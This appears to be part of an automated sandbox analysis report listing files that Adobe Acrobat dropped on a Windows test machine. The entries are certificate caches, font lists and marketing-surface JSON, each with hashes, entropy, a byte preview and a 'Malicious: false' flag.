C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2142306064587625
Encrypted:	false
SSDEEP:	24:7+tUmnuwK9qL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MR:7MVnC9q/mFTIF3XmHjBoGGR+jMz+Lho
MD5:	FA106A48328B5FEA2531E5FDC06D3DEA
SHA1:	9EB88A563DE08399CB7C3E5D615ECFEA738D9FF3
SHA-256:	E7DA857CFA44CDDDFB18070E822B0D9E0FC06C55A83C6FFC4830558B9C153A76
SHA-512:	2F75C15B6199D6061A9FBA5D09E3D08DAAA507AD6E0794EF9C233D1DFD65FAD9529F56A0B36EEFD4425108A1153A34C2E5B00ED999ACA41BFCF3EF661FC7B8B1
Malicious:	false
Preview:	.... .c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklp9VL+EttfllXlE/HT8kusNNX8RolJuRdxLlGB9lQRYwpDdt:kKq+EteT88NMa8RdWBwRd
MD5:	149C11C24625E95367EBD1A552730834
SHA1:	CC36D05DBE72179D17A8B7D323F420A241715FB3
SHA-256:	0896A8658D99023C8D78119283FC581E0E85DC758F21AA5304A306F6F939BFB2
SHA-512:	D7B4F909910A8B479DF9C4E03ACC3997239873715D144C86FEC4891DD24F32E86C78701403DFE8F39EE7FA181CD05516206917EA87DF059CB042A25CE07FA873
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKFHbPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:RDiDnLNkPlE99SNxAhUe/3
MD5:	A530256DAC7256F97D9E36646417E232
SHA1:	3BDA07B69677133A0AE90F172AF3916E5BFCD67E
SHA-256:	CC35A36567CAD2E62C7BA6905CB40E0C1249E3D9D1CC4049EF55F41B8C42BCDF
SHA-512:	550EDCDE11F4C7E7CB0EE6C2020BA6C4BF4B57ABBD8B6354FB702AFF2788DD8254FE2D7B5769A77727FB330BF2FC6C8E6D3DAC1EF4EE9270DCC28EE95FD71C7D
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6516

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6516

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.364713712856915
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJM3g98kUwPeUkwRe9:YvXKXZPY3Zc0vZGMbLUkee9
MD5:	5EF14EBC793D8FA427ECF1F9E96D404A
SHA1:	28FAC1CC91BB2F4FAE5DD04DD0B5D6669EB39908
SHA-256:	FB05A2C9DAC863E90B752B9C91D73A00DB6D767092A0245C0B3084ABAC842145
SHA-512:	767441C50435425F9C96AAFE944B97F095838D98BC850B2FA0249ADAA4D6BB69359466C5317379A5A9648A7787E17BBE5C01FA91EA105FAEA6DF53A9853E4CEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3139397201412075
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfBoTfXpnrPeUkwRe9:YvXKXZPY3Zc0vZGWTfXcUkee9
MD5:	3BA20A7DCFE8EC8A1F570D4FC58B90EB
SHA1:	2630DE6B228B3A5493768D0E91F0E6F8DC03E239
SHA-256:	46784927133AB5880E3196C4F74D0F7DB8687B18CB2593A52303CA1E723C86D5
SHA-512:	5AFD4B9EEF0D79C79C3C8EC0DAABD64326BC52D021389EC4A0DFBFFB8080F452CAF2A10EC37397DA2C614B251A680CABEF04D9A88E1FC58712B88BA88A174A25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292078634886475
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfBD2G6UpnrPeUkwRe9:YvXKXZPY3Zc0vZGR22cUkee9
MD5:	D90E5CAC7C1948C38C8A1192401A9E2F
SHA1:	6CF7C69C0CD55816B52B41EF2D4E3076E0E27934
SHA-256:	C94ECBA13EA7A57EEF4239077173C09476D51B9C271C395885BBA2556E42F270
SHA-512:	22747F7F2A5C29CCB600F36F4602830F5AB02D5B12B368118CCAA4B5C9C4D8FB8A8594BB071EDBDA4D88ABF8C03839F84A69AAA546B16B27D207CEC7B5F6D611
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.351771598930661
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfPmwrPeUkwRe9:YvXKXZPY3Zc0vZGH56Ukee9
MD5:	4DF247CBDAE407D80DC48C83CD15852F
SHA1:	2F0E86AD6AA30CD25D29D4D6F887184DEB40B9CB
SHA-256:	AB28D7703B8F2D5BFDB9281C1374585FDCC6D9055F910DD71E1B3CE8AA86690D
SHA-512:	700F990A0057D6AEA76814F1E3CF0EB6155F7192A5C856F01D4E8D01D978A6D83938E3D28854B46CB6D3EC88A30DAA393F416519D9AC8B9DD4DE19C7FC427E49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684971925067279
Encrypted:	false
SSDEEP:	24:Yv6XW3zv+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSS1:YvHDWhgy6SAFv5Ah8cv/M
MD5:	7FE69B53E5576A05B9FF9BF97E8CF832
SHA1:	D3C7C31E4B37D4BCAC9DFC8CC861CF18627674CA
SHA-256:	837AAC9D55D4A3AD7BDDE7FD4AF77015114727289B7978C0A57C6D4FCAE3B520
SHA-512:	D85C76448A4EBDB6EFBAB70DFE7EEE482E4E408FB32947DEF8B4DA2E66D525593D73698C24E75A23C27F588CDECCE7B70D5A582B443D4617A5FCFD167B94B132
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296040010114981
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJf8dPeUkwRe9:YvXKXZPY3Zc0vZGU8Ukee9
MD5:	805829BCD254BF833EE95051FF323E49
SHA1:	31C3976111118818D86AFE3B24DE273142C0773E
SHA-256:	35EA19AF18DC25FFF35782CABFDED9BDA39D297A57D2E3A790DC56E7F0685D40
SHA-512:	BCE5DFA7B2C8B1E2B0195EC21724E5D0A93F822FB23F8336BAA268C69BA56960C9DB1DF49B6CE92F6F4F69E33E9D63F6E97B89FF91B62E8529CA90C66F86CEFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.299981330566903
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfQ1rPeUkwRe9:YvXKXZPY3Zc0vZGY16Ukee9
MD5:	C5B127DC460260B0B94978A86B51C978
SHA1:	FC0260774B5D445D6C6EE80768F71D08F377847D
SHA-256:	A3D51F41809EFBBD929DBBA896807014BFF1FF57B4245F76DCDC4C5FCD0E3487
SHA-512:	B607FC3C8B01B551FD9E50D969AA0E2131F7DF6CA82BD3B3403560C6735EB05D71D029B286DC04A8E8293163500D9B9FF2ADBC17DD1979CB4A7EA30E410F5010
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304961642363813
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PPET+VoZcg1vRcR0YNoAvJfFldPeUkwRe9:YvXKXZPY3Zc0vZGz8Ukee9
MD5:	0884812424056954FDA96160E5214C56
SHA1:	28AEBFE329637D8AD16BB4FCAA0F08133A046966
SHA-256:	72DCF473B40127567FDE3AE00EA2808EC4431B7597BC762C9E219BA77DB75EB3
SHA-512:	67577BB9A9BE13FD50C2326B48947E73CF1FE0CFDC98E678D2CB28C981B88F5EDA2C4BBDB55CB0E76AE29239306285F92F942A3DE100EFDB58372BB5CE42C51F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d5ede25f-d4a6-4bb0-811c-55c1a58215c3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734595167,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

